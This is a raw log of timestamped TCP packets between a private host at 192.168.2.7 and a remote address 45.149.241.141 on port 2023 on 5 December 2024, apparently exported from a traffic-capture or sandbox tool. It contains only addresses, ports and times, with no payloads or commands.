Dec 5, 2024 10:39:27.799779892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.800803900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.800848007 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.800899982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.801944971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.801990986 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.802028894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.803108931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.803169966 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.803222895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.804207087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.804423094 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.804476976 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.805358887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.805447102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.805491924 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.806505919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.806549072 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.806602955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.807657003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.807745934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.807782888 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.808777094 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.808882952 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.808924913 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.809907913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.809954882 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.810029984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.811114073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.811160088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.811187983 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.812187910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.812227964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.812266111 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.813373089 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.813479900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.813527107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.814507961 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.814547062 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.814610958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.815633059 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.819565058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.948791981 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.948955059 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.949040890 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.949112892 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.949126959 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.949171066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.950237036 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.950349092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.951549053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.951562881 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.951562881 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.952507019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.952569008 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.952574015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.953696012 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.953758955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.953753948 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.953838110 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.954796076 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.954926968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.954977989 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.955975056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.956137896 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.956181049 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.957089901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.957197905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.958448887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.958511114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.958545923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.959580898 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.959690094 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.959707022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.959780931 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.960617065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.960638046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.960691929 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.961657047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.961693048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.962832928 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.962882996 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.962961912 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.963581085 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.963956118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.964052916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.965078115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.965131998 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.965225935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.966274023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.966340065 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.966375113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.966437101 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.967464924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.967550039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.968554974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.968595982 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.968661070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.969681978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.969719887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.969782114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.970834017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.970885038 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.970938921 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.971560001 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.972016096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.972069025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.973063946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.973150969 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.973252058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.973315954 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.974203110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.974323988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.974374056 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.975444078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.975477934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.975527048 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.976536036 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.976701975 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.976747036 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.977873087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.977977991 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.978771925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.978831053 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.979016066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.979573965 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.979964972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.980113029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.980169058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.981093884 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.981209040 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.981285095 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.982223034 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.982342005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.983361006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.983412981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.983520985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.984492064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.984539986 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.984601974 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.984601974 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.985671043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.985717058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.985809088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.986783981 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.986888885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.986963987 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.987926960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.988035917 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.988101006 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.989120960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.989193916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.990205050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.990262985 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.990317106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.991338968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.991410017 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.991447926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.991504908 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.992489100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.992650032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.992702007 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.993623018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.993721008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.994788885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.994838953 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.994879007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.995450020 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.995903969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.996030092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.996253967 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.997157097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.997205019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.997277021 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.998214006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.998343945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.998516083 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.999366045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.999537945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.999624968 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.000515938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.000580072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.000653028 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.001624107 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.001761913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.001825094 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.002772093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.002866983 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.002922058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.003930092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.004034996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.004101992 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.005084038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.005182028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.005255938 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.006191015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.006304979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.007076979 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.007608891 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.007625103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.007683992 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.008487940 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.097424030 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.141211033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.141388893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.141535044 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.141755104 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.141952038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.142018080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.142914057 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.143100023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.144028902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.144088984 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.144139051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.145199060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.145288944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.145292997 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.145354033 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.146303892 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.146456003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.146516085 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.147610903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.147666931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.147736073 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.148551941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.148633003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.149722099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.149828911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.149959087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.150929928 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.150985003 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.151024103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.152055025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.152121067 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.152184963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.152265072 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.153161049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.153233051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.153304100 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.154382944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.154474020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.154526949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.155488968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.155514002 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.155560017 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.156548977 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.156672001 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.157694101 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.157710075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.157854080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.158871889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.158890963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.158926010 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.158974886 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.160038948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.160052061 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.160121918 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.161349058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.161462069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.161562920 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.162501097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.162516117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.162578106 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.163623095 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.163635969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.163733959 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.164664984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.164729118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.165869951 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.165874004 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.165888071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.167191029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.167222977 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.167277098 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.167360067 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.168253899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.168267965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.168333054 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.169493914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.169507027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.169564009 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.170756102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.170842886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.170901060 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.171624899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.171638012 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.171705961 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.172579050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.172591925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.172646999 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.173861027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.173983097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.174043894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.174890041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.174902916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.174962044 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.176053047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.176065922 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.176121950 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.177134037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.177146912 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.177184105 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.178368092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.178381920 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.178443909 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.179420948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.179435015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.179482937 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.180610895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.180624962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.180685043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.181765079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.181823969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.181895971 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.182873964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.182885885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.182955027 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.184062004 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.184075117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.184153080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.185203075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.185214996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.185264111 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.186289072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.186304092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.186362028 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.187611103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.187623978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.187689066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.188611984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.188625097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.188667059 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.189771891 CET	2023	49852	45.149.241.141	192.168.2.7
